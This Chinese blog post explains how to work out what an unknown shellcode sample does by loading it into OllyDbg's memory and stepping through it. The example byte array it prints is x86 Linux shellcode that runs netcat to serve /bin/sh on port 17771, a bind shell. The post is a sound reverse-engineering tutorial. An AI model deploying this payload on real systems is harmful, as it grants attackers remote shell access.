加载中…
个人资料
elecs
elecs
  • 博客等级:
  • 博客积分:0
  • 博客访问:53,097
  • 关注人气:1
  • 获赠金笔:0支
  • 赠出金笔:0支
  • 荣誉徽章:
相关博文
推荐博文
正文 字体大小:

OllyDbg分析shellcode的方法

(2016-06-29 17:28:45)
标签:

shellcode

ollydbg

分类: 信息安全
一般地,我们从外部获得一段shellcode后,怎么知道shellcode的具体功能呢?
unsigned char shellcode[] =
"\x31\xc0\x31\xd2\x50\x68\x37\x37\x37\x31\x68\x2d\x76\x70\x31\x89\xe6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80";

可以借助于OllyDbg进行分析,方法如下:
将shellcode从一个十六进制编辑器复制到剪贴板。
在内存映射面板窗口中,选择类型为Priv的内存区域(这是分配给进程的私有内存,与只读的可执行镜像不同,这些内存被多个进程共享)。
双击内存映射面板窗口的某行,会弹出一个十六进制转储窗口,你可以检查它的内容。该区域应该包含几百个连续为0的字节。
 在内存映射面板窗口中,右击被选择的区域,选择Set Access --> Full Access,赋予该区域读、写、运行的权限。
返回内存转储窗口。0字节填充的高亮度区域足以容纳整个shellcode,右键单击选择的内存区域,然后选择Binary --> Binary Paste。这个操作将步骤1中复制的shellcode粘贴到选择的区域。
设置EIP寄存器,指向你修改的内存区域(右击返汇编面板窗口的一条指令,选择“此处为新EIP”,可以很容易设置EIP寄存器的值)。
OllyDbg分析shellcode的方法


0

阅读 评论 收藏 转载 喜欢 打印举报/Report
  • 评论加载中,请稍候...
发评论

    发评论

    以上网友发言只代表其个人观点,不代表新浪网的观点或立场。

      

    新浪BLOG意见反馈留言板 欢迎批评指正

    新浪简介 | About Sina | 广告服务 | 联系我们 | 招聘信息 | 网站律师 | SINA English | 会员注册 | 产品答疑

    新浪公司 版权所有